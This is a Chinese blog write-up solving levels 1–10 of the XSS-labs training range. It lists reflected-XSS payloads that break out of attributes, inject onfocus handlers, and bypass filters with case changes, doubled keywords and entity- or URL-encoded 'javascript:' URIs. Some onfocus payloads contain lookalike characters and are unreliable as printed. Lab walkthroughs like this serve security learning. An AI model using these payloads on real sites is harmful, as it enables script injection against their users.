XSS-labs 1-10关

XSS-labs

1

<script>alert(/gjl/)</script>

image-20231109213541565

2

image-20231109213907809

源码

image-20231109213924317

左边补引号和大于号

?keyword="><script>alert(/gjl/)</script>

image-20231109214040546

3

尖括号被过滤,但输入内容显示再下方的input标签中

image-20231109220207306

使用 '匹配 value 的' 跳出 value,在 input 标签中添加事件

?keyword='οnfοcus='alert(/gjl/)

image-20231109220530824

4

尖括号被过滤

image-20231109220649417

双引号匹配跳出 value

?keyword="οnfοcus="alert(/gjl/)

image-20231109220917187

5

image-20231109221100352

image-20231109221134846

?keyword="><a href="javascript:alert(/gjl/)">click</a>"

image-20231109221901795

6

image-20231109222626149

大小写绕过

?keyword=" Onfocus="alert(/gjl/)

image-20231109222544864

7

?keyword="oonnfocus="alert(/gjl/)

image-20231109222828716

8

javascript 被过滤

image-20231109223324836

编码绕过

image-20231109223604263

// 攻击代码
?keyword=javascript:alert(/gjl/)
// 对 javascript 十进制编码
?keyword=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(/gjl/)
// 对输入的参数进行 url 编码
?keyword=%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%3Aalert(%2Fgjl%2F)

image-20231109224123037

9

连接不合法

image-20231109224342702

输入 http:// 的时候合法

image-20231109224756839

image-20231109225708310

编码

?keyword=javascript:alert('http://')

?keyword=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert('http://')

?keyword=%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%3Aalert('http%3A%2F%2F')

image-20231109225532747

10

没有 value=keyword 的输入框

有三个隐藏的输入框

image-20231110085412891

尝试给三个输入框传参

image-20231110090130455

发现只有 t_sort 可以传参

image-20231110090157382

?t_sort="οnfοcus="alert(/gjl/)

image-20231110090438962

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

gjl_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值